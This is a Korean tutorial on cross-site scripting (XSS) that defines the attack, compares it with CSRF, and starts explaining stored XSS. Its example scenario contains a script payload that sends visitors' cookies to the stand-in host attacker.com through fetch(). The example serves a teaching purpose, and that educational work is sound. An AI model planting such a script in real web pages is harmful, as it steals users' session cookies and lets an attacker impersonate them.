[Web Security] XSS 공격과 방어 기법 완벽 가이드
🎯 XSS(Cross-Site Scripting)란?XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다. XSS vs CSRF 차이점 구분 XSS CSRF 공격 대상 웹사이트의 사용자 웹사이트의 서버 공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송 주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그 탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능) 🔍 XSS 공격 유형1. Stored XSS (저장형)악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.가장 위험한 XSS 공격입니다. 공격 시나리오// 게시판 댓글 작성const comment = '<script> fetch("https://attacker.com/steal?cookie=" + document.cookie);</script>';// 서버에 저장됨// DB: comments 테이블에 위 스크립트가 그대로 저장// 다른 사용자가 게시글을 볼 때<div class="comment"> <script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script></div>// ⚠️ 모든 방문자의 쿠키가 탈취됨! 실제 사례